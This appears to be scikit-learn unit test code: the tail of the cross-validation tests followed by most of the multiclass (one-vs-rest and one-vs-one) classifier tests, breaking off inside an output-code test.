    assert_almost_equal(pvalue, 0.01, 3)

    # set random y
    y = np.mod(np.arange(len(y)), 3)

    score, scores, pvalue = cval.permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy")

    assert_less(score, 0.5)
    assert_greater(pvalue, 0.2)


def test_cross_val_generator_with_indices():
    X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    y = np.array([1, 1, 2, 2])
    labels = np.array([1, 2, 3, 4])
    # explicitly passing indices value is deprecated
    loo = cval.LeaveOneOut(4)
    lpo = cval.LeavePOut(4, 2)
    kf = cval.KFold(4, 2)
    skf = cval.StratifiedKFold(y, 2)
    lolo = cval.LeaveOneLabelOut(labels)
    lopo = cval.LeavePLabelOut(labels, 2)
    ps = cval.PredefinedSplit([1, 1, 2, 2])
    ss = cval.ShuffleSplit(2)
    for cv in [loo, lpo, kf, skf, lolo, lopo, ss, ps]:
        for train, test in cv:
            assert_not_equal(np.asarray(train).dtype.kind, 'b')
            assert_not_equal(np.asarray(train).dtype.kind, 'b')
            X[train], X[test]
            y[train], y[test]


@ignore_warnings
def test_cross_val_generator_with_default_indices():
    X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    y = np.array([1, 1, 2, 2])
    labels = np.array([1, 2, 3, 4])
    loo = cval.LeaveOneOut(4)
    lpo = cval.LeavePOut(4, 2)
    kf = cval.KFold(4, 2)
    skf = cval.StratifiedKFold(y, 2)
    lolo = cval.LeaveOneLabelOut(labels)
    lopo = cval.LeavePLabelOut(labels, 2)
    ss = cval.ShuffleSplit(2)
    ps = cval.PredefinedSplit([1, 1, 2, 2])
    for cv in [loo, lpo, kf, skf, lolo, lopo, ss, ps]:
        for train, test in cv:
            assert_not_equal(np.asarray(train).dtype.kind, 'b')
            assert_not_equal(np.asarray(train).dtype.kind, 'b')
            X[train], X[test]
            y[train], y[test]


def test_shufflesplit_errors():
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=2.0)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=1.0)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=0.1,
                  train_size=0.95)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=11)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=10)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=8, train_size=3)
    assert_raises(ValueError, cval.ShuffleSplit, 10, train_size=1j)
    assert_raises(ValueError, cval.ShuffleSplit, 10, test_size=None,
                  train_size=None)


def test_shufflesplit_reproducible():
    # Check that iterating twice on the ShuffleSplit gives the same
    # sequence of train-test when the random_state is given
    ss = cval.ShuffleSplit(10, random_state=21)
    assert_array_equal(list(a for a, b in ss), list(a for a, b in ss))


def test_safe_split_with_precomputed_kernel():
    clf = SVC()
    clfp = SVC(kernel="precomputed")

    iris = load_iris()
    X, y = iris.data, iris.target
    K = np.dot(X, X.T)

    cv = cval.ShuffleSplit(X.shape[0], test_size=0.25, random_state=0)
    tr, te = list(cv)[0]

    X_tr, y_tr = cval._safe_split(clf, X, y, tr)
    K_tr, y_tr2 = cval._safe_split(clfp, K, y, tr)
    assert_array_almost_equal(K_tr, np.dot(X_tr, X_tr.T))

    X_te, y_te = cval._safe_split(clf, X, y, te, tr)
    K_te, y_te2 = cval._safe_split(clfp, K, y, te, tr)
    assert_array_almost_equal(K_te, np.dot(X_te, X_tr.T))


def test_cross_val_score_allow_nans():
    # Check that cross_val_score allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    cval.cross_val_score(p, X, y, cv=5)


def test_train_test_split_allow_nans():
    # Check that train_test_split allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    cval.train_test_split(X, y, test_size=0.2, random_state=42)


def test_permutation_test_score_allow_nans():
    # Check that permutation_test_score allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    cval.permutation_test_score(p, X, y, cv=5)


def test_check_cv_return_types():
    X = np.ones((9, 2))
    cv = cval.check_cv(3, X, classifier=False)
    assert_true(isinstance(cv, cval.KFold))

    y_binary = np.array([0, 1, 0, 1, 0, 0, 1, 1, 1])
    cv = cval.check_cv(3, X, y_binary, classifier=True)
    assert_true(isinstance(cv, cval.StratifiedKFold))

    y_multiclass = np.array([0, 1, 0, 1, 2, 1, 2, 0, 2])
    cv = cval.check_cv(3, X, y_multiclass, classifier=True)
    assert_true(isinstance(cv, cval.StratifiedKFold))

    X = np.ones((5, 2))
    y_multilabel = [[1, 0, 1], [1, 1, 0], [0, 0, 0], [0, 1, 1], [1, 0, 0]]
    cv = cval.check_cv(3, X, y_multilabel, classifier=True)
    assert_true(isinstance(cv, cval.KFold))

    y_multioutput = np.array([[1, 2], [0, 3], [0, 0], [3, 1], [2, 0]])
    cv = cval.check_cv(3, X, y_multioutput, classifier=True)
    assert_true(isinstance(cv, cval.KFold))


def test_cross_val_score_multilabel():
    X = np.array([[-3, 4], [2, 4], [3, 3], [0, 2], [-3, 1],
                  [-2, 1], [0, 0], [-2, -1], [-1, -2], [1, -2]])
    y = np.array([[1, 1], [0, 1], [0, 1], [0, 1], [1, 1],
                  [0, 1], [1, 0], [1, 1], [1, 0], [0, 0]])
    clf = KNeighborsClassifier(n_neighbors=1)
    scoring_micro = make_scorer(precision_score, average='micro')
    scoring_macro = make_scorer(precision_score, average='macro')
    scoring_samples = make_scorer(precision_score, average='samples')
    score_micro = cval.cross_val_score(clf, X, y, scoring=scoring_micro, cv=5)
    score_macro = cval.cross_val_score(clf, X, y, scoring=scoring_macro, cv=5)
    score_samples = cval.cross_val_score(clf, X, y,
                                         scoring=scoring_samples, cv=5)
    assert_almost_equal(score_micro, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 3])
    assert_almost_equal(score_macro, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 4])
    assert_almost_equal(score_samples, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 4])


def test_cross_val_predict():
    boston = load_boston()
    X, y = boston.data, boston.target
    cv = cval.KFold(len(boston.target))

    est = Ridge()

    # Naive loop (should be same as cross_val_predict):
    preds2 = np.zeros_like(y)
    for train, test in cv:
        est.fit(X[train], y[train])
        preds2[test] = est.predict(X[test])

    preds = cval.cross_val_predict(est, X, y, cv=cv)
    assert_array_almost_equal(preds, preds2)

    preds = cval.cross_val_predict(est, X, y)
    assert_equal(len(preds), len(y))

    cv = cval.LeaveOneOut(len(y))
    preds = cval.cross_val_predict(est, X, y, cv=cv)
    assert_equal(len(preds), len(y))

    Xsp = X.copy()
    Xsp *= (Xsp > np.median(Xsp))
    Xsp = coo_matrix(Xsp)
    preds = cval.cross_val_predict(est, Xsp, y)
    assert_array_almost_equal(len(preds), len(y))

    preds = cval.cross_val_predict(KMeans(), X)
    assert_equal(len(preds), len(y))

    def bad_cv():
        for i in range(4):
            yield np.array([0, 1, 2, 3]), np.array([4, 5, 6, 7, 8])

    assert_raises(ValueError, cval.cross_val_predict, est, X, y, cv=bad_cv())


def test_cross_val_predict_input_types():
    clf = Ridge()
    # Smoke test
    predictions = cval.cross_val_predict(clf, X, y)
    assert_equal(predictions.shape, (10,))

    # test with multioutput y
    predictions = cval.cross_val_predict(clf, X_sparse, X)
    assert_equal(predictions.shape, (10, 2))

    predictions = cval.cross_val_predict(clf, X_sparse, y)
    assert_array_equal(predictions.shape, (10,))

    # test with multioutput y
    predictions = cval.cross_val_predict(clf, X_sparse, X)
    assert_array_equal(predictions.shape, (10, 2))

    # test with X and y as list
    list_check = lambda x: isinstance(x, list)
    clf = CheckingClassifier(check_X=list_check)
    predictions = cval.cross_val_predict(clf, X.tolist(), y.tolist())

    clf = CheckingClassifier(check_y=list_check)
    predictions = cval.cross_val_predict(clf, X, y.tolist())

    # test with 3d X and
    X_3d = X[:, :, np.newaxis]
    check_3d = lambda x: x.ndim == 3
    clf = CheckingClassifier(check_X=check_3d)
    predictions = cval.cross_val_predict(clf, X_3d, y)
    assert_array_equal(predictions.shape, (10,))


def test_cross_val_predict_pandas():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((Series, DataFrame))
    except ImportError:
        pass
    for TargetType, InputFeatureType in types:
        # X dataframe, y series
        X_df, y_ser = InputFeatureType(X), TargetType(y)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)
        cval.cross_val_predict(clf, X_df, y_ser)


def test_sparse_fit_params():
    iris = load_iris()
    X, y = iris.data, iris.target
    clf = MockClassifier()
    fit_params = {'sparse_sample_weight': coo_matrix(np.eye(X.shape[0]))}
    a = cval.cross_val_score(clf, X, y, fit_params=fit_params)
    assert_array_equal(a, np.ones(3))


def test_check_is_partition():
    p = np.arange(100)
    assert_true(cval._check_is_partition(p, 100))
    assert_false(cval._check_is_partition(np.delete(p, 23), 100))

    p[0] = 23
    assert_false(cval._check_is_partition(p, 100))


def test_cross_val_predict_sparse_prediction():
    # check that cross_val_predict gives same result for sparse and dense input
    X, y = make_multilabel_classification(n_classes=2, n_labels=1,
                                          allow_unlabeled=False,
                                          return_indicator=True,
                                          random_state=1)
    X_sparse = csr_matrix(X)
    y_sparse = csr_matrix(y)
    classif = OneVsRestClassifier(SVC(kernel='linear'))
    preds = cval.cross_val_predict(classif, X, y, cv=10)
    preds_sparse = cval.cross_val_predict(classif, X_sparse, y_sparse, cv=10)
    preds_sparse = preds_sparse.toarray()
    assert_array_almost_equal(preds_sparse, preds)






import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raise_message
from sklearn.multiclass import OneVsRestClassifier
from sklearn.multiclass import OneVsOneClassifier
from sklearn.multiclass import OutputCodeClassifier
from sklearn.utils.multiclass import check_classification_targets, type_of_target
from sklearn.utils import shuffle

from sklearn.metrics import precision_score
from sklearn.metrics import recall_score

from sklearn.svm import LinearSVC, SVC
from sklearn.naive_bayes import MultinomialNB
from sklearn.linear_model import (LinearRegression, Lasso, ElasticNet, Ridge,
                                  Perceptron, LogisticRegression)
from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.model_selection import GridSearchCV
from sklearn.pipeline import Pipeline
from sklearn import svm
from sklearn import datasets
from sklearn.externals.six.moves import zip

iris = datasets.load_iris()
rng = np.random.RandomState(0)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]
n_classes = 3


def test_ovr_exceptions():
    ovr = OneVsRestClassifier(LinearSVC(random_state=0))
    assert_raises(ValueError, ovr.predict, [])

    # Fail on multioutput data
    assert_raises(ValueError, OneVsRestClassifier(MultinomialNB()).fit,
                  np.array([[1, 0], [0, 1]]),
                  np.array([[1, 2], [3, 1]]))
    assert_raises(ValueError, OneVsRestClassifier(MultinomialNB()).fit,
                  np.array([[1, 0], [0, 1]]),
                  np.array([[1.5, 2.4], [3.1, 0.8]]))


def test_check_classification_targets():
    # Test that check_classification_target return correct type. #5782
    y = np.array([0.0, 1.1, 2.0, 3.0])
    msg = type_of_target(y)
    assert_raise_message(ValueError, msg, check_classification_targets, y)


def test_ovr_fit_predict():
    # A classifier which implements decision_function.
    ovr = OneVsRestClassifier(LinearSVC(random_state=0))
    pred = ovr.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ovr.estimators_), n_classes)

    clf = LinearSVC(random_state=0)
    pred2 = clf.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(np.mean(iris.target == pred), np.mean(iris.target == pred2))

    # A classifier which implements predict_proba.
    ovr = OneVsRestClassifier(MultinomialNB())
    pred = ovr.fit(iris.data, iris.target).predict(iris.data)
    assert_greater(np.mean(iris.target == pred), 0.65)


def test_ovr_partial_fit():
    # Test if partial_fit is working as intented
    X, y = shuffle(iris.data, iris.target, random_state=0)
    ovr = OneVsRestClassifier(MultinomialNB())
    ovr.partial_fit(X[:100], y[:100], np.unique(y))
    ovr.partial_fit(X[100:], y[100:])
    pred = ovr.predict(X)
    ovr2 = OneVsRestClassifier(MultinomialNB())
    pred2 = ovr2.fit(X, y).predict(X)

    assert_almost_equal(pred, pred2)
    assert_equal(len(ovr.estimators_), len(np.unique(y)))
    assert_greater(np.mean(y == pred), 0.65)

    # Test when mini batches doesn't have all classes
    ovr = OneVsRestClassifier(MultinomialNB())
    ovr.partial_fit(iris.data[:60], iris.target[:60], np.unique(iris.target))
    ovr.partial_fit(iris.data[60:], iris.target[60:])
    pred = ovr.predict(iris.data)
    ovr2 = OneVsRestClassifier(MultinomialNB())
    pred2 = ovr2.fit(iris.data, iris.target).predict(iris.data)

    assert_almost_equal(pred, pred2)
    assert_equal(len(ovr.estimators_), len(np.unique(iris.target)))
    assert_greater(np.mean(iris.target == pred), 0.65)


def test_ovr_ovo_regressor():
    # test that ovr and ovo work on regressors which don't have a decision_function
    ovr = OneVsRestClassifier(DecisionTreeRegressor())
    pred = ovr.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ovr.estimators_), n_classes)
    assert_array_equal(np.unique(pred), [0, 1, 2])
    # we are doing something sensible
    assert_greater(np.mean(pred == iris.target), .9)

    ovr = OneVsOneClassifier(DecisionTreeRegressor())
    pred = ovr.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ovr.estimators_), n_classes * (n_classes - 1) / 2)
    assert_array_equal(np.unique(pred), [0, 1, 2])
    # we are doing something sensible
    assert_greater(np.mean(pred == iris.target), .9)


def test_ovr_fit_predict_sparse():
    for sparse in [sp.csr_matrix, sp.csc_matrix, sp.coo_matrix, sp.dok_matrix,
                   sp.lil_matrix]:
        base_clf = MultinomialNB(alpha=1)

        X, Y = datasets.make_multilabel_classification(n_samples=100,
                                                       n_features=20,
                                                       n_classes=5,
                                                       n_labels=3,
                                                       length=50,
                                                       allow_unlabeled=True,
                                                       random_state=0)

        X_train, Y_train = X[:80], Y[:80]
        X_test = X[80:]

        clf = OneVsRestClassifier(base_clf).fit(X_train, Y_train)
        Y_pred = clf.predict(X_test)

        clf_sprs = OneVsRestClassifier(base_clf).fit(X_train, sparse(Y_train))
        Y_pred_sprs = clf_sprs.predict(X_test)

        assert_true(clf.multilabel_)
        assert_true(sp.issparse(Y_pred_sprs))
        assert_array_equal(Y_pred_sprs.toarray(), Y_pred)

        # Test predict_proba
        Y_proba = clf_sprs.predict_proba(X_test)

        # predict assigns a label if the probability that the
        # sample has the label is greater than 0.5.
        pred = Y_proba > .5
        assert_array_equal(pred, Y_pred_sprs.toarray())

        # Test decision_function
        clf_sprs = OneVsRestClassifier(svm.SVC()).fit(X_train, sparse(Y_train))
        dec_pred = (clf_sprs.decision_function(X_test) > 0).astype(int)
        assert_array_equal(dec_pred, clf_sprs.predict(X_test).toarray())


def test_ovr_always_present():
    # Test that ovr works with classes that are always present or absent.
    # Note: tests is the case where _ConstantPredictor is utilised
    X = np.ones((10, 2))
    X[:5, :] = 0

    # Build an indicator matrix where two features are always on.
    # As list of lists, it would be: [[int(i >= 5), 2, 3] for i in range(10)]
    y = np.zeros((10, 3))
    y[5:, 0] = 1
    y[:, 1] = 1
    y[:, 2] = 1

    ovr = OneVsRestClassifier(LogisticRegression())
    assert_warns(UserWarning, ovr.fit, X, y)
    y_pred = ovr.predict(X)
    assert_array_equal(np.array(y_pred), np.array(y))
    y_pred = ovr.decision_function(X)
    assert_equal(np.unique(y_pred[:, -2:]), 1)
    y_pred = ovr.predict_proba(X)
    assert_array_equal(y_pred[:, -1], np.ones(X.shape[0]))

    # y has a constantly absent label
    y = np.zeros((10, 2))
    y[5:, 0] = 1  # variable label
    ovr = OneVsRestClassifier(LogisticRegression())
    assert_warns(UserWarning, ovr.fit, X, y)
    y_pred = ovr.predict_proba(X)
    assert_array_equal(y_pred[:, -1], np.zeros(X.shape[0]))


def test_ovr_multiclass():
    # Toy dataset where features correspond directly to labels.
    X = np.array([[0, 0, 5], [0, 5, 0], [3, 0, 0], [0, 0, 6], [6, 0, 0]])
    y = ["eggs", "spam", "ham", "eggs", "ham"]
    Y = np.array([[0, 0, 1],
                  [0, 1, 0],
                  [1, 0, 0],
                  [0, 0, 1],
                  [1, 0, 0]])

    classes = set("ham eggs spam".split())

    for base_clf in (MultinomialNB(), LinearSVC(random_state=0),
                     LinearRegression(), Ridge(),
                     ElasticNet()):

        clf = OneVsRestClassifier(base_clf).fit(X, y)
        assert_equal(set(clf.classes_), classes)
        y_pred = clf.predict(np.array([[0, 0, 4]]))[0]
        assert_equal(set(y_pred), set("eggs"))

        # test input as label indicator matrix
        clf = OneVsRestClassifier(base_clf).fit(X, Y)
        y_pred = clf.predict([[0, 0, 4]])[0]
        assert_array_equal(y_pred, [0, 0, 1])


def test_ovr_binary():
    # Toy dataset where features correspond directly to labels.
    X = np.array([[0, 0, 5], [0, 5, 0], [3, 0, 0], [0, 0, 6], [6, 0, 0]])
    y = ["eggs", "spam", "spam", "eggs", "spam"]
    Y = np.array([[0, 1, 1, 0, 1]]).T

    classes = set("eggs spam".split())

    def conduct_test(base_clf, test_predict_proba=False):
        clf = OneVsRestClassifier(base_clf).fit(X, y)
        assert_equal(set(clf.classes_), classes)
        y_pred = clf.predict(np.array([[0, 0, 4]]))[0]
        assert_equal(set(y_pred), set("eggs"))

        if test_predict_proba:
            X_test = np.array([[0, 0, 4]])
            probabilities = clf.predict_proba(X_test)
            assert_equal(2, len(probabilities[0]))
            assert_equal(clf.classes_[np.argmax(probabilities, axis=1)],
                         clf.predict(X_test))

        # test input as label indicator matrix
        clf = OneVsRestClassifier(base_clf).fit(X, Y)
        y_pred = clf.predict([[3, 0, 0]])[0]
        assert_equal(y_pred, 1)

    for base_clf in (LinearSVC(random_state=0), LinearRegression(),
                     Ridge(), ElasticNet()):
        conduct_test(base_clf)

    for base_clf in (MultinomialNB(), SVC(probability=True),
                     LogisticRegression()):
        conduct_test(base_clf, test_predict_proba=True)


def test_ovr_multilabel():
    # Toy dataset where features correspond directly to labels.
    X = np.array([[0, 4, 5], [0, 5, 0], [3, 3, 3], [4, 0, 6], [6, 0, 0]])
    y = np.array([[0, 1, 1],
                  [0, 1, 0],
                  [1, 1, 1],
                  [1, 0, 1],
                  [1, 0, 0]])

    for base_clf in (MultinomialNB(), LinearSVC(random_state=0),
                     LinearRegression(), Ridge(),
                     ElasticNet(), Lasso(alpha=0.5)):
        clf = OneVsRestClassifier(base_clf).fit(X, y)
        y_pred = clf.predict([[0, 4, 4]])[0]
        assert_array_equal(y_pred, [0, 1, 1])
        assert_true(clf.multilabel_)


def test_ovr_fit_predict_svc():
    ovr = OneVsRestClassifier(svm.SVC())
    ovr.fit(iris.data, iris.target)
    assert_equal(len(ovr.estimators_), 3)
    assert_greater(ovr.score(iris.data, iris.target), .9)


def test_ovr_multilabel_dataset():
    base_clf = MultinomialNB(alpha=1)
    for au, prec, recall in zip((True, False), (0.51, 0.66), (0.51, 0.80)):
        X, Y = datasets.make_multilabel_classification(n_samples=100,
                                                       n_features=20,
                                                       n_classes=5,
                                                       n_labels=2,
                                                       length=50,
                                                       allow_unlabeled=au,
                                                       random_state=0)
        X_train, Y_train = X[:80], Y[:80]
        X_test, Y_test = X[80:], Y[80:]
        clf = OneVsRestClassifier(base_clf).fit(X_train, Y_train)
        Y_pred = clf.predict(X_test)

        assert_true(clf.multilabel_)
        assert_almost_equal(precision_score(Y_test, Y_pred, average="micro"),
                            prec,
                            decimal=2)
        assert_almost_equal(recall_score(Y_test, Y_pred, average="micro"),
                            recall,
                            decimal=2)


def test_ovr_multilabel_predict_proba():
    base_clf = MultinomialNB(alpha=1)
    for au in (False, True):
        X, Y = datasets.make_multilabel_classification(n_samples=100,
                                                       n_features=20,
                                                       n_classes=5,
                                                       n_labels=3,
                                                       length=50,
                                                       allow_unlabeled=au,
                                                       random_state=0)
        X_train, Y_train = X[:80], Y[:80]
        X_test = X[80:]
        clf = OneVsRestClassifier(base_clf).fit(X_train, Y_train)

        # decision function only estimator. Fails in current implementation.
        decision_only = OneVsRestClassifier(svm.SVR()).fit(X_train, Y_train)
        assert_raises(AttributeError, decision_only.predict_proba, X_test)

        # Estimator with predict_proba disabled, depending on parameters.
        decision_only = OneVsRestClassifier(svm.SVC(probability=False))
        decision_only.fit(X_train, Y_train)
        assert_raises(AttributeError, decision_only.predict_proba, X_test)

        Y_pred = clf.predict(X_test)
        Y_proba = clf.predict_proba(X_test)

        # predict assigns a label if the probability that the
        # sample has the label is greater than 0.5.
        pred = Y_proba > .5
        assert_array_equal(pred, Y_pred)


def test_ovr_single_label_predict_proba():
    base_clf = MultinomialNB(alpha=1)
    X, Y = iris.data, iris.target
    X_train, Y_train = X[:80], Y[:80]
    X_test = X[80:]
    clf = OneVsRestClassifier(base_clf).fit(X_train, Y_train)

    # decision function only estimator. Fails in current implementation.
    decision_only = OneVsRestClassifier(svm.SVR()).fit(X_train, Y_train)
    assert_raises(AttributeError, decision_only.predict_proba, X_test)

    Y_pred = clf.predict(X_test)
    Y_proba = clf.predict_proba(X_test)

    assert_almost_equal(Y_proba.sum(axis=1), 1.0)
    # predict assigns a label if the probability that the
    # sample has the label is greater than 0.5.
    pred = np.array([l.argmax() for l in Y_proba])
    assert_false((pred - Y_pred).any())


def test_ovr_multilabel_decision_function():
    X, Y = datasets.make_multilabel_classification(n_samples=100,
                                                   n_features=20,
                                                   n_classes=5,
                                                   n_labels=3,
                                                   length=50,
                                                   allow_unlabeled=True,
                                                   random_state=0)
    X_train, Y_train = X[:80], Y[:80]
    X_test = X[80:]
    clf = OneVsRestClassifier(svm.SVC()).fit(X_train, Y_train)
    assert_array_equal((clf.decision_function(X_test) > 0).astype(int),
                       clf.predict(X_test))


def test_ovr_single_label_decision_function():
    X, Y = datasets.make_classification(n_samples=100,
                                        n_features=20,
                                        random_state=0)
    X_train, Y_train = X[:80], Y[:80]
    X_test = X[80:]
    clf = OneVsRestClassifier(svm.SVC()).fit(X_train, Y_train)
    assert_array_equal(clf.decision_function(X_test).ravel() > 0,
                       clf.predict(X_test))


def test_ovr_gridsearch():
    ovr = OneVsRestClassifier(LinearSVC(random_state=0))
    Cs = [0.1, 0.5, 0.8]
    cv = GridSearchCV(ovr, {'estimator__C': Cs})
    cv.fit(iris.data, iris.target)
    best_C = cv.best_estimator_.estimators_[0].C
    assert_true(best_C in Cs)


def test_ovr_pipeline():
    # Test with pipeline of length one
    # This test is needed because the multiclass estimators may fail to detect
    # the presence of predict_proba or decision_function.
    clf = Pipeline([("tree", DecisionTreeClassifier())])
    ovr_pipe = OneVsRestClassifier(clf)
    ovr_pipe.fit(iris.data, iris.target)
    ovr = OneVsRestClassifier(DecisionTreeClassifier())
    ovr.fit(iris.data, iris.target)
    assert_array_equal(ovr.predict(iris.data), ovr_pipe.predict(iris.data))


def test_ovr_coef_():
    for base_classifier in [SVC(kernel='linear', random_state=0), LinearSVC(random_state=0)]:
        # SVC has sparse coef with sparse input data

        ovr = OneVsRestClassifier(base_classifier)
        for X in [iris.data, sp.csr_matrix(iris.data)]:
            # test with dense and sparse coef
            ovr.fit(X, iris.target)
            shape = ovr.coef_.shape
            assert_equal(shape[0], n_classes)
            assert_equal(shape[1], iris.data.shape[1])
            # don't densify sparse coefficients
            assert_equal(sp.issparse(ovr.estimators_[0].coef_), sp.issparse(ovr.coef_))


def test_ovr_coef_exceptions():
    # Not fitted exception!
    ovr = OneVsRestClassifier(LinearSVC(random_state=0))
    # lambda is needed because we don't want coef_ to be evaluated right away
    assert_raises(ValueError, lambda x: ovr.coef_, None)

    # Doesn't have coef_ exception!
    ovr = OneVsRestClassifier(DecisionTreeClassifier())
    ovr.fit(iris.data, iris.target)
    assert_raises(AttributeError, lambda x: ovr.coef_, None)


def test_ovo_exceptions():
    ovo = OneVsOneClassifier(LinearSVC(random_state=0))
    assert_raises(ValueError, ovo.predict, [])


def test_ovo_fit_on_list():
    # Test that OneVsOne fitting works with a list of targets and yields the
    # same output as predict from an array
    ovo = OneVsOneClassifier(LinearSVC(random_state=0))
    prediction_from_array = ovo.fit(iris.data, iris.target).predict(iris.data)
    iris_data_list = [list(a) for a in iris.data]
    prediction_from_list = ovo.fit(iris_data_list,
                                   list(iris.target)).predict(iris_data_list)
    assert_array_equal(prediction_from_array, prediction_from_list)


def test_ovo_fit_predict():
    # A classifier which implements decision_function.
    ovo = OneVsOneClassifier(LinearSVC(random_state=0))
    ovo.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ovo.estimators_), n_classes * (n_classes - 1) / 2)

    # A classifier which implements predict_proba.
    ovo = OneVsOneClassifier(MultinomialNB())
    ovo.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ovo.estimators_), n_classes * (n_classes - 1) / 2)


def test_ovo_partial_fit_predict():
    X, y = shuffle(iris.data, iris.target)
    ovo1 = OneVsOneClassifier(MultinomialNB())
    ovo1.partial_fit(X[:100], y[:100], np.unique(y))
    ovo1.partial_fit(X[100:], y[100:])
    pred1 = ovo1.predict(X)

    ovo2 = OneVsOneClassifier(MultinomialNB())
    ovo2.fit(X, y)
    pred2 = ovo2.predict(X)
    assert_equal(len(ovo1.estimators_), n_classes * (n_classes - 1) / 2)
    assert_greater(np.mean(y == pred1), 0.65)
    assert_almost_equal(pred1, pred2)

    # Test when mini-batches don't have all target classes
    ovo1 = OneVsOneClassifier(MultinomialNB())
    ovo1.partial_fit(iris.data[:60], iris.target[:60], np.unique(iris.target))
    ovo1.partial_fit(iris.data[60:], iris.target[60:])
    pred1 = ovo1.predict(iris.data)
    ovo2 = OneVsOneClassifier(MultinomialNB())
    pred2 = ovo2.fit(iris.data, iris.target).predict(iris.data)

    assert_almost_equal(pred1, pred2)
    assert_equal(len(ovo1.estimators_), len(np.unique(iris.target)))
    assert_greater(np.mean(iris.target == pred1), 0.65)


def test_ovo_decision_function():
    n_samples = iris.data.shape[0]

    ovo_clf = OneVsOneClassifier(LinearSVC(random_state=0))
    ovo_clf.fit(iris.data, iris.target)
    decisions = ovo_clf.decision_function(iris.data)

    assert_equal(decisions.shape, (n_samples, n_classes))
    assert_array_equal(decisions.argmax(axis=1), ovo_clf.predict(iris.data))

    # Compute the votes
    votes = np.zeros((n_samples, n_classes))

    k = 0
    for i in range(n_classes):
        for j in range(i + 1, n_classes):
            pred = ovo_clf.estimators_[k].predict(iris.data)
            votes[pred == 0, i] += 1
            votes[pred == 1, j] += 1
            k += 1

    # Extract votes and verify
    assert_array_equal(votes, np.round(decisions))

    for class_idx in range(n_classes):
        # For each sample and each class, there only 3 possible vote levels
        # because they are only 3 distinct class pairs thus 3 distinct
        # binary classifiers.
        # Therefore, sorting predictions based on votes would yield
        # mostly tied predictions:
        assert_true(set(votes[:, class_idx]).issubset(set([0., 1., 2.])))

        # The OVO decision function on the other hand is able to resolve
        # most of the ties on this data as it combines both the vote counts
        # and the aggregated confidence levels of the binary classifiers
        # to compute the aggregate decision function. The iris dataset
        # has 150 samples with a couple of duplicates. The OvO decisions
        # can resolve most of the ties:
        assert_greater(len(np.unique(decisions[:, class_idx])), 146)


def test_ovo_gridsearch():
    ovo = OneVsOneClassifier(LinearSVC(random_state=0))
    Cs = [0.1, 0.5, 0.8]
    cv = GridSearchCV(ovo, {'estimator__C': Cs})
    cv.fit(iris.data, iris.target)
    best_C = cv.best_estimator_.estimators_[0].C
    assert_true(best_C in Cs)


def test_ovo_ties():
    # Test that ties are broken using the decision function,
    # not defaulting to the smallest label
    X = np.array([[1, 2], [2, 1], [-2, 1], [-2, -1]])
    y = np.array([2, 0, 1, 2])
    multi_clf = OneVsOneClassifier(Perceptron(shuffle=False))
    ovo_prediction = multi_clf.fit(X, y).predict(X)
    ovo_decision = multi_clf.decision_function(X)

    # Classifiers are in order 0-1, 0-2, 1-2
    # Use decision_function to compute the votes and the normalized
    # sum_of_confidences, which is used to disambiguate when there is a tie in
    # votes.
    votes = np.round(ovo_decision)
    normalized_confidences = ovo_decision - votes

    # For the first point, there is one vote per class
    assert_array_equal(votes[0, :], 1)
    # For the rest, there is no tie and the prediction is the argmax
    assert_array_equal(np.argmax(votes[1:], axis=1), ovo_prediction[1:])
    # For the tie, the prediction is the class with the highest score
    assert_equal(ovo_prediction[0], normalized_confidences[0].argmax())


def test_ovo_ties2():
    # test that ties can not only be won by the first two labels
    X = np.array([[1, 2], [2, 1], [-2, 1], [-2, -1]])
    y_ref = np.array([2, 0, 1, 2])

    # cycle through labels so that each label wins once
    for i in range(3):
        y = (y_ref + i) % 3
        multi_clf = OneVsOneClassifier(Perceptron(shuffle=False))
        ovo_prediction = multi_clf.fit(X, y).predict(X)
        assert_equal(ovo_prediction[0], i % 3)


def test_ovo_string_y():
    # Test that the OvO doesn't mess up the encoding of string labels
    X = np.eye(4)
    y = np.array(['a', 'b', 'c', 'd'])

    ovo = OneVsOneClassifier(LinearSVC())
    ovo.fit(X, y)
    assert_array_equal(y, ovo.predict(X))


def test_ecoc_exceptions():
    ecoc = OutputCodeClassifier(LinearSVC(random_state=0))
